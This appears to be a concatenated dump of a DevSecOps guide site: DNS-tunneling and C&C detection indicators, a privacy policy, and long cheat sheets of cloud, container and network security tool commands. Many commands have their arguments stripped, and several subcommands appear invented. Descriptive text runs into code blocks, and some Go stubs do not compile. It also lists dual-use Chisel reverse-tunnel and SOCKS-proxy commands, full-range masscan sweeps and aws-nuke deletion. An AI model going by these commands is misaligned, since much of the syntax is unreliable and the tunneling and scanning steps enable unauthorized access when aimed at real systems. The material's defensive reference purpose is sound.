analyze whether the domain name is generated by DGAs and could be a potential C&C server. DGA Detector: https://github.com/exp0se/dga_detector/ In addition, in order to reduce false positives, we may also use Alexa's top one million sites as a website whitelist. Refer to https://s3.amazonaws.com/alexa-static/top-1m.csv.zip. ### Suspicious file downloads Cuckoo sandbox suspicious file analysis: `https://cuckoosandbox.org/` ### DNS query In the case of DNS query analysis, the following are the key indicators of compromises: DNS query to unauthorized DNS servers. Unmatched DNS replies can be an indicator of DNS spoofing. Clients connect to multiple DNS servers. A long DNS query, such as one in excess of 150 characters, which is an indicator of DNS tunneling. A domain name with high entropy. This is an indicator of DNS tunneling or a C&C server. ================================================ FILE: docs/privacy-policy/privacy-policy.md ================================================ --- layout: default title: Privacy and Policy nav_order: 13 has_children: false permalink: privacy-policy --- At DevSecOpsGuides, accessible at https://wiki.devsecopsguides.com/privacy-policy, your privacy is important to us. This Privacy Policy explains how we collect, use, and protect your information. 1. Information We Collect We collect information when you interact with our website, including: Personal Information: If you voluntarily provide it (e.g., name, email address via contact forms). Non-Personal Information: Such as browser type, device information, and anonymized usage data. 2. How We Use Your Information We may use your information for the following purposes: To improve and maintain our website. To respond to your inquiries or feedback. To send updates or newsletters (if you opt in). For analytics to understand how visitors use our site. 3. Cookies We use cookies to enhance your experience on our website. Cookies help us: Remember your preferences. Analyze website traffic and usage. You can disable cookies through your browser settings. 4. Sharing of Information We do not sell or share your personal information with third parties, except: To comply with legal obligations. With trusted service providers who assist in operating our website (e.g., analytics tools). 5. Data Security We take reasonable measures to protect your data from unauthorized access, alteration, or disclosure. However, no method of transmission or storage is completely secure. 6. Your Rights You have the right to: Request access to your data. Ask us to delete your personal information. Opt-out of receiving communications at any time. To exercise these rights, please contact us at reza.rashidi.business@gmail.com. 7. Links to Other Websites Our website may contain links to external sites. We are not responsible for the privacy practices or content of those sites. We recommend reviewing their privacy policies. 8. Changes to This Privacy Policy We may update this Privacy Policy from time to time. Changes will be posted on this page with the updated date. 9. Contact Us If you have any questions about this Privacy Policy, please contact us at: Email: reza.rashidi.business@gmail.com Ezoic Services Ezoic Services This website uses the services of Ezoic Inc. (“Ezoic”), including to manage third-party interest-based advertising. Ezoic may employ a variety of technologies on this website, including tools to serve content, display advertisements and enable advertising to visitors of this website, which may utilize first and third-party cookies. A cookie is a small text file sent to your device by a web server that enables the website to remember information about your browsing activity. First-party cookies are created by the site you are visiting, while third-party cookies are set by domains other than the one you're visiting. Ezoic and our partners may place third-party cookies, tags, beacons, pixels, and similar technologies to monitor interactions with advertisements and optimize ad targeting. Please note that disabling cookies may limit access to certain content and features on the website, and rejecting cookies does not eliminate advertisements but will result in non-personalized advertising. You can find more information about cookies and how to manage them https://allaboutcookies.org/. The following information may be collected, used, and stored in a cookie when serving personalized ads: IP address Operating system type and version Device type Language preferences Web browser type Email (in a hashed or encrypted form) Ezoic and its partners may use this data in combination with information that has been independently collected to deliver targeted advertisements across various platforms and websites. Ezoic’s partners may also gather additional data, such as unique IDs, advertising IDs, geolocation data, usage data, device information, traffic data, referral sources, and interactions between users and websites or advertisements, to create audience segments for targeted advertising across different devices, browsers, and apps. You can find more information about interest-based advertising and how to manage them [here](https://youradchoices.com/). You can view Ezoic’s privacy policy [here](https://ezoic.com/privacy/), or for additional information about Ezoic’s advertising and other partners, you can view Ezoic’s advertising partners [here](https://www.ezoic.com/privacy-policy/advertising-partners/). ================================================ FILE: docs/production/cloud.md ================================================ --- layout: default title: Cloud parent: Production --- ## Cloud Scanning {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- Cloud scanning in production DevSecOps refers to the process of continuously scanning the production environment of an application deployed on cloud infrastructure for potential security vulnerabilities and threats. This is done to ensure that the application remains secure and compliant with security policies and standards even after it has been deployed to the cloud. Cloud scanning tools can perform a variety of security scans on the production environment, including vulnerability scanning, penetration testing, and compliance auditing. These tools can help to identify security issues in real-time and provide alerts and notifications to the security team. Some of the benefits of cloud scanning in production DevSecOps include: 1. Real-time security monitoring: Cloud scanning enables security teams to monitor the production environment in real-time, providing early detection and response to potential security threats. 2. Automated security checks: Cloud scanning tools can be integrated into the DevOps pipeline to perform automated security checks on the production environment, enabling teams to catch security issues early in the development cycle. 3. Improved compliance: Cloud scanning tools can help to ensure that the application remains compliant with industry standards and regulations by continuously monitoring the production environment for compliance violations. 4. Reduced risk: Cloud scanning can help to reduce the risk of security breaches and other security incidents by detecting and addressing potential vulnerabilities in the production environment. ### CloudPassage Halo A tool that provides visibility, security, and compliance across your entire cloud infrastructure. ``` curl -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -X POST https://api.cloudpassage.com/v1/scans -d '{ "name": "Example Scan", "ip_address": "10.0.0.1", "port": 22, "option_profile": "pci"}' ``` ## Cloud Application ### AWS - [ ] **Create an IAM User** ``` aws iam create-user --user-name ``` - [ ] Attach an IAM Policy to a User ``` aws iam attach-user-policy --user-name --policy-arn ``` - [ ] Create an IAM Group ``` aws iam create-group --group-name ``` - [ ] Add a User to an IAM Group ``` aws iam add-user-to-group --user-name --group-name ``` - [ ] Create an IAM Role ``` aws iam create-role --role-name --assume-role-policy-document ``` - [ ] Attach an IAM Policy to a Role ``` aws iam attach-role-policy --role-name --policy-arn ``` - [ ] Enable MFA for an IAM User ``` aws iam enable-mfa-device --user-name --serial-number --authentication-code-one --authentication-code-two ``` - [ ] Create a Security Group ``` aws ec2 create-security-group --group-name --description --vpc-id ``` - [ ] Authorize Ingress Traffic for a Security Group ``` aws ec2 authorize-security-group-ingress --group-id --protocol --port --source ``` - [ ] Create a Network Access Control List (NACL) ``` aws ec2 create-network-acl --vpc-id ``` - [ ] Add an Inbound Rule to a NACL ``` aws ec2 create-network-acl-entry --network-acl-id --rule-number --protocol --rule-action --cidr-block --port-range From=,To= ``` - [ ] Create an AWS WAF WebACL ``` aws wafv2 create-web-acl --name --scope --default-action ``` - [ ] Associate a WebACL with a Resource ``` aws wafv2 associate-web-acl --web-acl-arn --resource-arn ``` - [ ] Enable AWS CloudTrail ``` aws cloudtrail create-trail --name --s3-bucket-name ``` - [ ] Create an AWS Config Rule ``` aws configservice put-config-rule --config-rule ``` - [ ] Enable AWS GuardDuty ``` aws guardduty create-detector --enable ``` - [ ] Enable AWS Macie ``` aws macie2 enable-macie ``` - [ ] Enable AWS SecurityHub ``` aws securityhub enable-security-hub ``` #### AWS Inspector A tool that analyzes the behavior and configuration of AWS resources for potential security issues. ``` aws inspector start-assessment-run --assessment-template-arn arn:aws:inspector:us-west-2:123456789012:target/0-nvgHXqLm/template/0-iMhM7g4p ``` ### GCloud - [ ] Create a Service Account ``` gcloud iam service-accounts create --display-name ``` - [ ] Grant IAM Role to a Service Account ``` gcloud projects add-iam-policy-binding --member serviceAccount: --role ``` - [ ] Create a Firewall Rule ``` gcloud compute firewall-rules create --network --allow : --source-ranges ``` - [ ] Enable VPC Flow Logs ``` gcloud compute networks subnets update --region --enable-flow-logs --filter ``` - [ ] Create a Cloud Security Command Center (Cloud SCC) Notification Config ``` gcloud scc notifications create --pubsub-topic --organization --filter ``` - [ ] Enable Data Loss Prevention (DLP) API ``` gcloud services enable dlp.googleapis.com ``` - [ ] Create a Cloud Security Scanner Scan ``` gcloud beta web-security-scanner scans create --target ``` - [ ] Enable Cloud Security Command Center (Cloud SCC) ``` gcloud services enable securitycenter.googleapis.com ``` - [ ] Create a Security Key ``` gcloud alpha cloud-shell ssh-key create ``` - [ ] Enable Cloud Armor ``` gcloud compute security-policies create --description ``` - [ ] Enable Cloud Identity-Aware Proxy (IAP) ``` gcloud compute backend-services update --iap=enabled ``` - [ ] Create a Security Health Analytics Policy ``` gcloud alpha security health-policies create --resource-type --filter ``` - [ ] Enable Binary Authorization ``` gcloud services enable binaryauthorization.googleapis.com ``` - [ ] Enable Cloud Security Scanner ``` gcloud services enable securityscanner.googleapis.com ``` - [ ] Create a Cloud Key Management Service (KMS) Keyring ``` gcloud kms keyrings create --location ``` - [ ] Create a Cloud Security Scanner Crawl Schedule ``` gcloud beta web-security-scanner scan-configs create --schedule --target ``` - [ ] Enable Cloud Data Loss Prevention (DLP) ``` gcloud services enable dlp.googleapis.com ``` - [ ] Create a Cloud Security Command Center (Cloud SCC) Source ``` gcloud scc sources create --source --resource --service-account ``` #### Google Cloud Security Scanner A tool that scans your App Engine app for common web vulnerabilities. ``` gcloud beta app deploy --no-promote --version staging
gcloud beta app gen-config --custom
gcloud beta app deploy --config=cloudbuild.yaml --version=v1 ``` ### Azure - [ ] Create a Resource Group ``` az group create --name --location ``` - [ ] Create a Virtual Network ``` az network vnet create --name --resource-group --subnet-name ``` - [ ] Create a Network Security Group ``` az network nsg create --name --resource-group ``` - [ ] Create a Network Security Group Rule ``` az network nsg rule create --name --nsg-name --resource-group --priority --protocol --source-address-prefix --destination-address-prefix --access --direction ``` - [ ] Create a Key Vault ``` az keyvault create --name --resource-group --location ``` - [ ] Create a Key Vault Secret ``` az keyvault secret set --name --vault-name --value ``` - [ ] Enable Azure Security Center ``` az security center pricing create --tier --resource-group --subscription ``` - [ ] Enable Just-In-Time (JIT) VM Access ``` az security jit-policy create --name --resource-group --vm-name ``` - [ ] Enable Azure Firewall ``` az network firewall create --name --resource-group --location ``` - [ ] Create a Security Center Adaptive Application Control Policy ``` az security applocker-policy create --name --resource-group --location ``` - [ ] Enable Azure Active Directory (AAD) Identity Protection ``` az ad identity-protection enable --tenant-id ``` - [ ] Enable Azure Sentinel ``` az security workspace create --name --resource-group --location ``` - [ ] Create a Security Center Regulatory Compliance Assessment ``` az security regulatory-compliance-assessments create --name --resource-group --standard-name ``` - [ ] Enable Azure Advanced Threat Protection (ATP) ``` az security atp storage enable --resource-group --storage-account ``` - [ ] Enable Azure DDoS Protection ``` az network ddos-protection create --name --resource-group --location ``` - [ ] Create a Security Center Security Contact ``` az security contact create --name --resource-group --email ``` - [ ] Enable Azure Information Protection ``` az ad rms registration create --resource-group --tenant-id ``` - [ ] Enable Azure Disk Encryption ``` az vm encryption enable --name --resource-group --disk-encryption-keyvault ``` #### Azure Security Center A tool that provides threat protection across all of your services and deploys quickly with no infrastructure to manage. ``` az security assessment create --location westus --name "Example Assessment" --resource-group "MyResourceGroup" --scope /subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM ``` ## ScoutSuite ### Run ScoutSuite for a cloud provider ``` scout aws or scout azure or scout gcp ``` ### Specify a specific region for a cloud provider ``` scout aws --region ``` or ``` scout azure --location ``` or ``` scout gcp --project --region ``` ### Generate a report in JSON format ``` scout --report-dir --report-format json ``` ### Generate a report in HTML format ``` scout --report-dir --report-format html ``` ### Specify the output file name for the report ``` scout --report-dir --report-format --report-name ``` ## Prowler ### Run Prowler ``` python prowler.py ``` ### Specify an AWS profile ``` python prowler.py --profile ``` ### Specify a specific AWS region ``` python prowler.py --region ``` ### Run specific checks/categories ``` python prowler.py --check or python prowler.py --category ``` ### Output results to a file ``` python prowler.py --file ``` ### Include detailed findings in the output ``` python prowler.py --findings ``` ### Generate an HTML report ``` python prowler.py --html-report ``` ### Generate a CSV report ``` python prowler.py --csv-report ``` ### Generate a JUnit XML report ``` python prowler.py --junit-xml ``` ### Exclude specific checks ``` python prowler.py --exclude-check ``` ### Specify a severity level threshold ``` python prowler.py --severity ``` ## CCAT ### Run CCAT ``` python ccat.py ``` ### Specify a specific AWS profile ``` python ccat.py --profile ``` ### Specify a specific AWS region ``` python ccat.py --region ``` ### Run specific checks ``` python ccat.py --checks ``` ### Exclude specific checks ``` python ccat.py --exclude ``` ### Include detailed findings in the output ``` python ccat.py --findings ``` ### Output results to a file ``` python ccat.py --output-file ``` ### Generate a CSV report ``` python ccat.py --csv-report ``` ### Generate an HTML report ``` python ccat.py --html-report ``` ### Specify a severity level threshold ``` python ccat.py --severity ``` ## SmogCloud ``` python3 smogcloud.py Open a web browser and go to http://localhost:5000 ``` 1. Scan a target URL for common cloud misconfigurations: Enter the target URL in the web interface and click "Start Scan" 2. View the scan results and vulnerabilities: Navigate to the "Results" page in the web interface 3. Perform manual testing for specific cloud misconfigurations: Follow the provided instructions in the web interface or README file 4. Generate a report of the scan results: Click on "Generate Report" in the web interface ================================================ FILE: docs/production/infrastructure.md ================================================ --- layout: default title: Infrastructure parent: Production --- # Infrastructure {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Service Mesh ### linkerd + istioctl Linkerd Security Cheatsheet: - [ ] Inject Linkerd's sidecar proxy into deployment YAML files for automatic mTLS. ``` linkerd --context inject --manual | kubectl apply -f - ``` - [ ] Enable mTLS for a specific deployment. ``` linkerd --context -n -o yaml tls web deployment/ | kubectl apply -f - ``` - [ ] Tap into the traffic of a specific deployment, monitoring for unauthorized access attempts ``` linkerd --context -n tap deploy/ --namespace= --to --method= ``` - [ ] Observe traffic and analyze potential security-related issues using Linkerd's tap command. ``` linkerd --context -n -o json tap deploy/ | jq . | less ``` - [ ] Install Istio with automatic mTLS enabled. ``` istioctl --context install --set profile=demo --set values.global.mtls.auto=true: ``` - [ ] Generate Istio manifest files for the current configuration. ``` istioctl --context manifest generate | kubectl apply -f -: ``` - [ ] Perform a TLS handshake check for a specific host and namespace. ``` istioctl --context authn tls-check -n : ``` - [ ] Check Istio authorization policies for specific traffic flows. ``` istioctl --context -n authz check deploy/ --from --to --namespace= --method= ``` - [ ] Generate a packet capture (PCAP) file for a specific pod for in-depth analysis. ``` istioctl --context -n pcaps -o ``` - [ ] Open Jaeger, the distributed tracing system, to visualize and analyze Istio-traced requests. ``` istioctl --context -n dashboard jaeger ``` ### Chaos - [ ] Configure Chaos Monkey Edit the `chaos.properties` file to specify the target service, frequency of chaos events, and other settings. - [ ] Start Chaos Monkey ``` ./gradlew bootRun ``` - [ ] Verify Chaos Monkey is running Access the Chaos Monkey dashboard at `http://localhost:8080/chaosmonkey` - [ ] Enable Chaos Monkey for a specific service Set the `chaos.monkey.enabled` property to `true` for the desired service in the configuration file. - [ ] Disable Chaos Monkey for a specific service Set the `chaos.monkey.enabled` property to `false` for the desired service in the configuration file. - [ ] Customize Chaos Monkey behavior Modify the `chaos.monkey...` properties in the configuration file to define the chaos events, such as `chaos.monkey.watcher.probablility` for adjusting the likelihood of an event occurring. ## Container - [ ] Run a specific benchmark ``` kube-bench --benchmark ``` - [ ] Generate a JSON report for a specific benchmark ``` kube-bench --benchmark --json ``` - [ ] Run benchmarks as a non-root user ``` kube-bench --benchmark --run-as non-root ``` - [ ] Export the benchmark results to a log file. ``` kube-bench --benchmark --log ``` ### KubeLinter Scan Kubernetes YAML Files: ``` kube-linter lint ``` ### Helm - [ ] Validate Chart Signatures Helm supports chart signing using cryptographic signatures. It is recommended to validate the signatures of the charts you download before deploying them to ensure they haven't been tampered with. You can use the helm verify command to verify the chart signature. ``` helm verify ``` - [ ] Limit Chart Sources To minimize the risk of downloading malicious or insecure charts, it's best to limit the sources from which you fetch charts. You can configure your Helm repositories to only allow trusted sources by modifying the repositories.yaml file. ``` helm repo list helm repo remove ``` - [ ] Scan Charts for Vulnerabilities Before deploying a chart, it's crucial to scan it for known vulnerabilities. Tools like Trivy or Anchore Engine can help you perform vulnerability scanning on Helm charts. ``` trivy ``` - [ ] Enable RBAC Helm allows you to enable Role-Based Access Control (RBAC) to control access to the cluster and restrict who can perform Helm operations. Configure RBAC rules to limit the permissions of Helm users and ensure only authorized users can install or upgrade charts. ``` kubectl create role --verb= --resource= kubectl create rolebinding --role= --user= --namespace= ``` - [ ] Monitor Helm Releases Regularly monitor the status and changes of your Helm releases. Tools like Helm Operator or Prometheus can help you monitor the health and performance of your Helm deployments. ``` helm ls ``` - [ ] Scanning Helm Charts with Trivy Trivy can also scan Helm charts for vulnerabilities before deploying them. Here's an example of using Trivy to scan a Helm chart: ``` trivy chart ``` ### Checkov - [ ] Scan Terraform Files ``` checkov -d : ``` - [ ] Output Scan Results in JSON Format ``` checkov -o json: Generate scan results in JSON format. ``` - [ ] Ignore Specific Check IDs or File Paths ``` checkov --skip-check : ``` ### Twistlock - [ ] Pull Twistlock Scanner Image: ``` docker pull twistlock/scanner:latest: Pull the latest Twistlock Scanner image from Docker Hub. ``` - [ ] Scan a Docker Image: ``` docker run --rm -v /var/run/docker.sock:/var/run/docker.sock twistlock/scanner:latest :: Perform a security scan on the specified Docker image. ``` - [ ] Authenticate Twistlock Console: ``` docker run --rm -v /var/run/docker.sock:/var/run/docker.sock twistlock/scanner:latest --auth --user --password : Authenticate the Twistlock Scanner with the Twistlock Console. ``` - [ ] Generate HTML Report: ``` docker run --rm -v /var/run/docker.sock:/var/run/docker.sock twistlock/scanner:latest --output-file :: Generate an HTML report for the scan results. ``` - [ ] Specify Scan Policies: ``` docker run --rm -v /var/run/docker.sock:/var/run/docker.sock twistlock/scanner:latest --policy-file :: Use a custom policy file for the scan. ``` ### Terrascan - [ ] Scan Terraform Files: ``` terrascan scan -i ``` - [ ] Specify Policy Path ``` terrascan scan -p ``` - [ ] Output Scan Results in JSON Format: ``` terrascan scan -f json ``` - [ ] Ignore Specific Rules or Resources: ``` terrascan scan --skip-rules ``` ### Tfsec - [ ] Scan Terraform Files ``` tfsec ``` - [ ] Output Scan Results in JSON Format ``` tfsec --format=json: Generate scan results in JSON format. ``` - [ ] Ignore Specific Rules or Warnings ``` tfsec --ignore ``` ## Security Scanning Infrastructure scanning in production DevSecOps refers to the process of continuously scanning the underlying infrastructure of an application deployed on cloud infrastructure for potential security vulnerabilities and threats. This is done to ensure that the infrastructure remains secure and compliant with security policies and standards even after it has been deployed to the cloud. ### Nessus A tool that scans your network for vulnerabilities and provides detailed reports. ``` nessuscli scan new --policy "Basic Network Scan" --target "192.168.1.1" ``` ### OpenVAS An open-source vulnerability scanner that provides detailed reports and supports a wide range of platforms. ``` omp -u admin -w password -G "Full and fast" -T 192.168.1.1 ``` ### Qualys A cloud-based security and compliance tool that provides continuous monitoring and detailed reporting. ``` curl -H "X-Requested-With: Curl" -u "username:password" "https://qualysapi.qualys.com/api/2.0/fo/scan/?action=launch&scan_title=Example Scan&target=192.168.1.1" ``` ### Security Onion A Linux distro for intrusion detection, network security monitoring, and log management. ``` sudo so-import-pcap -r 2022-01-01 -c example.pcap ``` ### Lynis A tool for auditing security on Unix-based systems that performs a system scan and provides detailed reports. ``` sudo lynis audit system ``` ### Nuclei A fast and customizable vulnerability scanner that supports a wide range of platforms and technologies. ``` nuclei -u http://example.com -t cves/CVE-2021-1234.yaml ``` ### Nuclei Templates A collection of templates for Nuclei that cover a wide range of vulnerabilities and misconfigurations. ``` nuclei -u http://example.com -t cves/ -max-time 5m ``` ### Nuclei with Burp Suite A combination of Nuclei and Burp Suite that allows you to quickly scan and identify vulnerabilities in web applications. ``` nuclei -t web-vulns -target http://example.com -proxy http://localhost:8080 ``` ### Nuclei with Masscan A combination of Nuclei and Masscan that allows you to quickly scan large IP ranges and identify vulnerabilities. ``` masscan -p1-65535 192.168.1.1-254 -oL ips.txt && cat ips.txt ``` ### Define Guardrails via HashiCorp Applies HashiCorp Sentinel policies to enforce guardrails defined in the policy file. ``` sentinel apply -policy= ``` ### Vulnerability Scanning via nessuscli Initiates a vulnerability scan on the target system using Nessus. ``` nessuscli scan -t ``` ### Patch Vulnerabilities via Ansible playbook Executes an Ansible playbook to patch vulnerabilities specified in the playbook. ``` ansible-playbook -i inventory.ini patch_vulnerabilities.yml ``` ### Compliance Checks via aws-nuke Deletes AWS resources non-compliant with the defined configuration in the AWS Nuke configuration file. ``` aws-nuke --config=config.yml ``` ### Continuous Compliance Monitoring via opa Evaluates Open Policy Agent (OPA) policies against input data to enforce compliance. ``` opa eval -i -d ``` ## Tunnel & Proxy ### Nebula Generates a certificate authority (CA) for Nebula using the specified name and outputs the CA certificate and key files. ``` nebula-cert ca -name "" -out -key ``` Signs a node certificate with the specified CA certificate and key files, node name, IP address, and outputs the node certificate file. ``` nebula-cert sign -ca-crt -ca-key -name "" -out -ip ``` Starts a Nebula node using the specified configuration file ``` nebula -config ``` Adds a static route to the Nebula node for the specified destination subnet via the specified node ``` nebula route add -dst-subnet -via ``` Starts a Nebula proxy using the specified configuration file. ``` nebula-proxy -config ``` Initiates a connection to a remote host using the Nebula overlay network. ``` nebula connect ``` Checks the status and connectivity of the Nebula node. ``` nebula status ``` Displays statistics and metrics about the Nebula node. ``` nebula stats ``` ### Chisel Starts the Chisel server on the specified port, enabling reverse tunneling. ``` chisel server -p --reverse ``` Starts the Chisel client and establishes a reverse tunnel to the Chisel server. It forwards traffic from the local port to the remote host and port. ``` chisel client : R::: ``` Creates a tunnel from the local port to the remote host and port via the Chisel server. The -f flag keeps the connection alive. ``` chisel client : -f -L :: ``` Sets up a local HTTP proxy that forwards traffic to the Chisel server and then to the internet. ``` chisel client : -f -P ``` Configures a local SOCKS proxy that routes traffic through the Chisel server. ``` chisel client : -f -S ``` Description: Sets up a reverse tunnel and exposes a local web service through the Chisel server using the HTTP proxy protocol. ``` chisel client : --reverse --proxy-protocol http ``` Creates multiple tunnels from different local ports to different remote hosts and ports via the Chisel server. ``` chisel client : -f -L :: -L :: ``` Tests the connectivity to the Chisel server and displays the round-trip time (RTT). ``` chisel client : --ping ``` ## Incident Management ### PagerDuty ``` import requests def trigger_pagerduty_incident(service_key, description, details): url = "https://events.pagerduty.com/v2/enqueue" payload = { "routing_key": service_key, "event_action": "trigger", "payload": { "summary": description, "severity": "error", "source": "vulnerability-scanner", "custom_details": details } } headers = { "Content-Type": "application/json" } response = requests.post(url, json=payload, headers=headers) if response.status_code == 202: print("PagerDuty incident triggered successfully") else: print("Failed to trigger PagerDuty incident") # Usage example: service_key = "YOUR_PAGERDUTY_SERVICE_KEY" description = "Critical vulnerability detected" details = { "scan_target": "example.com", "vulnerability_description": "CVE-2023-1234", "remediation_steps": "Update library version to 2.0.1" } trigger_pagerduty_incident(service_key, description, details) ``` In this example, the trigger_pagerduty_incident function sends a PagerDuty event to trigger an incident. It includes a summary, severity, source, and custom details such as the scan target, vulnerability description, and suggested remediation steps. Then we have defined three incident rules based on different vulnerability priorities: Critical, Medium, and Low. Each rule specifies a condition based on the priority field, and if the condition is met, corresponding actions are triggered. ``` incident_rules: - name: Critical Vulnerability description: Notify the Security Team for critical vulnerabilities conditions: - field: priority operation: equals value: P1 actions: - type: notify-team team: Security Team message: "Critical vulnerability detected. Please investigate and take immediate action." - type: add-note content: "Critical vulnerability detected. Incident created for further investigation." - name: Medium Vulnerability description: Notify the Development Team for medium vulnerabilities conditions: - field: priority operation: equals value: P2 actions: - type: notify-team team: Development Team message: "Medium vulnerability detected. Please review and prioritize for remediation." - type: add-note content: "Medium vulnerability detected. Incident created for further review." - name: Low Vulnerability description: Notify the Operations Team for low vulnerabilities conditions: - field: priority operation: equals value: P3 actions: - type: notify-team team: Operations Team message: "Low vulnerability detected. Please assess and plan for future updates." - type: add-note content: "Low vulnerability detected. Incident created for tracking and monitoring." ``` ### Opsgenie ``` import requests def create_opsgenie_alert(api_key, message, priority, details): url = "https://api.opsgenie.com/v2/alerts" headers = { "Content-Type": "application/json", "Authorization": f"GenieKey {api_key}" } payload = { "message": message, "priority": priority, "details": details } response = requests.post(url, json=payload, headers=headers) if response.status_code == 202: print("Opsgenie alert created successfully") else: print("Failed to create Opsgenie alert") # Usage example: api_key = "YOUR_OPSGENIE_API_KEY" message = "Critical vulnerability detected" priority = "P1" details = { "scan_target": "example.com", "vulnerability_description": "CVE-2023-1234", "remediation_steps": "Update library version to 2.0.1" } create_opsgenie_alert(api_key, message, priority, details) ``` In this example, the create_opsgenie_alert function sends an alert to Opsgenie, specifying the message, priority, and additional details such as the scan target, vulnerability description, and suggested remediation steps. Then we have defined three incident rules based on different vulnerability priorities: Critical, Medium, and Low. Each rule specifies a condition based on the priority field, and if the condition is met, corresponding actions are triggered. ``` rules: - name: Critical Vulnerability description: Notify the Security Team for critical vulnerabilities condition: priority == "P1" actions: - notify-team: name: Security Team message: "Critical vulnerability detected. Please investigate and take immediate action." - add-note: content: "Critical vulnerability detected. Incident created for further investigation." - name: Medium Vulnerability description: Notify the Development Team for medium vulnerabilities condition: priority == "P2" actions: - notify-team: name: Development Team message: "Medium vulnerability detected. Please review and prioritize for remediation." - add-note: content: "Medium vulnerability detected. Incident created for further review." - name: Low Vulnerability description: Notify the Operations Team for low vulnerabilities condition: priority == "P3" actions: - notify-team: name: Operations Team message: "Low vulnerability detected. Please assess and plan for future updates." - add-note: content: "Low vulnerability detected. Incident created for tracking and monitoring." ``` ## Harbor ### Create a new project in Harbor ``` curl -X POST -H 'Content-Type: application/json' -H 'Authorization: Bearer ' -d '{"project_name": "myproject"}' https:///api/v2.0/projects ``` ### Add a new user to Harbor ``` curl -X POST -H 'Content-Type: application/json' -H 'Authorization: Bearer ' -d '{"username": "newuser", "password": "password123"}' https:///api/v2.0/users ``` ### Scan an image for vulnerabilities in Harbor ``` curl -X POST -H 'Content-Type: application/json' -H 'Authorization: Bearer ' -d '{"registry": "https://", "repository": "myimage", "tag": "latest"}' https:///api/v2.0/scan ``` ### Delete a project in Harbor ``` curl -X DELETE -H 'Authorization: Bearer ' https:///api/v2.0/projects/myproject ``` ### Retrieve the list of repositories in Harbor ``` curl -H 'Authorization: Bearer ' https:///api/v2.0/repositories ``` ## Clair ### Scan a Docker image with Clair ``` clairctl analyze -l ``` ### Retrieve vulnerability report for a Docker image from Clair ``` clairctl report -l ``` ### Update vulnerability database in Clair ``` clairctl update ``` ### Delete a Docker image from Clair's database ``` clairctl delete -l ``` ### Get vulnerability details for a specific CVE in Clair ``` clairctl vulnerability ``` ## Podman ### Run a container in a rootless mode ``` podman run --rm -it --userns=keep-always ``` ### Enable seccomp profile for a container ``` podman run --rm -it --security-opt seccomp=/path/to/seccomp.json ``` ### Apply SELinux context to a container ``` podman run --rm -it --security-opt label=type:container_runtime_t ``` ### Configure AppArmor profile for a container ``` podman run --rm -it --security-opt apparmor=docker-default ``` ### Enable read-only root filesystem for a container ``` podman run --rm -it --read-only ``` ## skopeo ### Copy an image from one container registry to another, verifying its authenticity: ``` skopeo copy --src-creds= --dest-creds= --src-tls-verify=true --dest-tls-verify=true docker:///: docker:///: ``` ### Inspect an image manifest to view its details and verify its integrity: ``` skopeo inspect --tls-verify=true docker:///: ``` ### Copy an image from a container registry to the local filesystem, validating its signature: ``` skopeo copy --src-creds= --dest-tls-verify=true docker:///: oci: ``` ### List the tags available for a specific image in a container registry: ``` skopeo list-tags --tls-verify=true docker:/// ``` ### Delete an image from a container registry: ``` skopeo delete --creds= --tls-verify=true docker:///: ``` ## Open Containers Initiative (OCI) ### Verify Image Integrity ``` import ( "fmt" "github.com/opencontainers/go-digest" "github.com/opencontainers/image-spec/specs-go/v1" ) func verifyImageIntegrity(manifest v1.Manifest) error { for _, layer := range manifest.Layers { if layer.MediaType == "application/vnd.oci.image.layer.v1.tar" { digest := layer.Digest // Verify the integrity of the layer using the digest isValid, err := verifyLayerDigest(digest) if err != nil { return err } if !isValid { return fmt.Errorf("Layer integrity check failed") } } } return nil } func verifyLayerDigest(digest digest.Digest) (bool, error) { // Implement logic to verify the digest against the stored layer // Return true if the digest is valid, false otherwise } ``` ### Enforce Image Vulnerability Scanning: ``` import ( "fmt" "github.com/opencontainers/image-spec/specs-go/v1" ) func enforceVulnerabilityScanning(manifest v1.Manifest) error { for _, annotation := range manifest.Annotations { if annotation.Name == "com.example.vulnerability-scanning" && annotation.Value != "enabled" { return fmt.Errorf("Vulnerability scanning is not enabled for the image") } } return nil } ``` ### Implement Image Signing: ``` import ( "fmt" "github.com/opencontainers/image-spec/specs-go/v1" ) func signImage(manifest v1.Manifest, privateKey string) error { // Use the private key to sign the image manifest // Return an error if signing fails } ``` ### Enforce Image Content Trust: ``` import ( "fmt" "github.com/opencontainers/image-spec/specs-go/v1" ) func enforceContentTrust(manifest v1.Manifest) error { for _, annotation := range manifest.Annotations { if annotation.Name == "com.example.content-trust" && annotation.Value != "true" { return fmt.Errorf("Content trust is not enabled for the image") } } return nil } ``` ### Secure Image Transmission: ``` import ( "fmt" "github.com/opencontainers/image-spec/specs-go/v1" ) func secureImageTransmission(manifest v1.Manifest) error { for _, layer := range manifest.Layers { if layer.MediaType == "application/vnd.oci.image.layer.v1.tar" { // Implement logic to enforce secure transmission of the layer // Return an error if the transmission is not secure } } return nil } ``` ## API Umbrella and Kong ### Rate Limiting ``` curl -X PUT \ -H "Content-Type: application/json" \ -H "X-Admin-Auth-Token: YOUR_ADMIN_AUTH_TOKEN" \ -d '{ "settings": { "rate_limit_mode": "custom", "rate_limits": [ { "duration": 1, "limit_by": "ip", "limit": 100 } ] } }' \ https://your-api-umbrella-host/admin/api/settings ``` ### Authentication and Authorization ``` curl -X POST \ -H "Content-Type: application/json" \ -d '{ "name": "jwt-auth", "config": { "uri_param_names": ["token"], "secret_is_base64": false }, "plugin": "jwt" }' \ http://localhost:8001/services/{service_id}/plugins ``` ### SSL/TLS Termination ``` curl -X PUT \ -H "Content-Type: application/json" \ -H "X-Admin-Auth-Token: YOUR_ADMIN_AUTH_TOKEN" \ -d '{ "frontend_host": "your-api.example.com", "backend_protocol": "https", "backend_ssl_cert": "YOUR_SSL_CERT", "backend_ssl_key": "YOUR_SSL_KEY" }' \ https://your-api-umbrella-host/admin/api/services/{service_id} ``` ### Logging and Monitoring ``` curl -X POST \ -H "Content-Type: application/json" \ -d '{ "name": "file-log", "config": { "path": "/var/log/kong/access.log" }, "plugin": "file-log" }' \ http://localhost:8001/services/{service_id}/plugins ``` ### API Key Management ``` curl -X POST \ -H "Content-Type: application/json" \ -H "X-Admin-Auth-Token: YOUR_ADMIN_AUTH_TOKEN" \ -d '{ "api_key": { "user_id": 